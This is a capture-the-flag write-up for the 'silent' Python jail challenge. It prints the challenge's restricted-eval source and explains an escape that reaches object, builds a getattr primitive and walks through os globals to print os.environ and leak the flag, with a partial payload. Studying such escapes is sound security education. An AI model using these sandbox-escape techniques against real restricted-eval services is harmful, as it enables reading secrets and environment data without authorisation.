silent

pyjail — reach `object` without `__class__`, then build an arbitrary-getattr primitive without spelling a single name

2026.09.30 NNS CTF 2026 122 pts Misc
FLAG NNS{Your_loudN3s5_is_d3aF3nin6}

Flag: NNS{Your_loudN3s5_is_d3aF3nin6}

Author: Zukane

The challenge

main.py:

import ast
wl = "),dw.r_[silent]g=c:f("
data = input("> ")
print(data)
tree = ast.parse(data, mode="eval")
assert isinstance(tree.body, ast.List), "input must be a list"
elements = [ast.get_source_segment(data, e) for e in tree.body.elts]
assert all(len(e)<=13 for e in elements), "shh, dont speak so much"
assert all(all(e in wl for e in element) for element in elements)
eval(data, {"__builtins__":{}})

Run under python:3.14.7-slim-trixie, served by socat. The flag lives in /flag-<random>.txt and also in the FLAG env var.

The filter

  • The input must be a list display [...].
  • Each top-level element’s source segment (via ast.get_source_segment) must be ≤13 chars and use only the whitelist.
  • Then the whole thing is eval’d with empty builtins.

The whitelist ),dw.r_[silent]g=c:f( yields letters c d e f g i l n r s t w and symbols ( ) , . _ [ ] = :. There are no quotes, no digits, and — crucially — no a o b m p u, so __class__, __subclasses__, __globals__, __mro__, __builtins__, getattr, __getattribute__ are all unspellable.

Two dead-ends (and why the filter is not the bug)

ast.get_source_segment is airtight here: every character that executes is inside some top-level element’s segment, so it’s fully checked. The only thing dropped from a segment is grouping parentheses, which can carry no payload. So this is not a filter bypass — it is a reachability problem inside the whitelist.

The escape

1. Reaching object without __class__

__new__, __self__, __len__ are all spellable. A method-wrapper does not define its own __new__, so attribute lookup walks the MRO to object.__dict__['__new__'], a builtin whose __self__ is object itself:

[].__len__.__new__.__self__   →  <class 'object'>

2. An arbitrary getattr primitive — without spelling any name

mappingproxy subscription is allowed, and the key strings don’t need to be typed as literals — they are pulled out of dir()/list() results by index:

r = object.__dict__["__getattribute__"].__get__     #  __get__ is spellable
getattr(x, name)  ==  r(x)(name)

object.__dict__["__getattribute__"] is a slot wrapper; binding it with .__get__(x) gives a callable object.__getattribute__ for any x, so with a key string (fetched by index) we can read any attribute — the whitelist is now irrelevant.

3. Chain to the flag

object → type = getattr(object, "__class__")
       → subclasses = getattr(object, "__subclasses__")()
       → os._wrap_close                       # a class defined in the os module
       → getattr(cls, "__init__")             # a real Python function
       → getattr(func, "__globals__")         # == os module globals
       → globals["__builtins__"]["print"]
       → print(globals["environ"])            # dumps FLAG=...

print writes to process.stdout, which socat wires straight to our socket, so the flag comes back over the connection. (Any un-caught exception goes to stderr, which socat does not forward — so a wrong step fails silently. Fitting name.)

Packaging into ≤13-char whitelist elements

Every step is bound to a short walrus variable (names use only c d e f g i l n r s t w) and chained across list elements:

[(l:=[]),(le:=l.__len__),(w:=le.__new__),(t:=w.__self__),   # object
 (d:=t.__dict__),(cf:=l.__dir__),(c:=cf()),                 # dir() keys
 (e:=[]),(s:=e.__len__),(f:=s()),                           # integer machine
 (e.insert(f,f)), ... ,(cg:=s()), ...                       # build indices by length
 (gs:=d[c[cg]]),(r:=gs.__get__), ...                        # getattr primitive
 ... ,(ct:=i[gc]),(ct(en))]                                 # print(os.environ)

Two practical tricks:

  1. No integer literals. Grow one list with e.insert(f,f) (13 chars) and read the length with e.__len__(), snapshotting each index value as the counter passes it.
  2. 13-char budget. Bind every attribute to a 1–2-char variable first, then use it — e.g. (gc:=gk[nf]) then (bb:=gg[gc]) instead of gg[gk[nf]].

The final payload is ~245 elements / ~3.7 KB, generated by a script.

Build-specific indices — the last hurdle

The hard-coded indices (os._wrap_close’s position in object.__subclasses__(), the key positions in the os globals / builtins dicts) are reproducible only against the exact runtime. The generator therefore runs inside python:3.14.7-slim-trixie — the pinned image (this is why the version pin exists, not a t-string hint).

Even then the remote subclass list was off by one (os._wrap_close at 166, not 167). Since a wrong index fails silently, a diagnostic payload was sent first: reach builtins via a bootstrap _frozen_importlib class (index 124, stable across builds) and print(object.__subclasses__()). Reading the remote’s own list gave the correct index; regenerating with iWC=166 returned the flag.

Takeaways

  • Empty-builtins + a tiny charset is not automatically safe. object is reachable via [].__len__.__new__.__self__, and object.__dict__['__getattribute__'].__get__ is a spelling-free arbitrary getattr — every subsequent name comes from dir() by index.
  • ast.get_source_segment per-element filtering is sound; the intended vector is reachability, not a parser trick.
  • When stderr isn’t forwarded, wrong offsets fail silently — dump the target’s own state (subclass list) to recover build-specific indices instead of guessing.
#jail#pyjail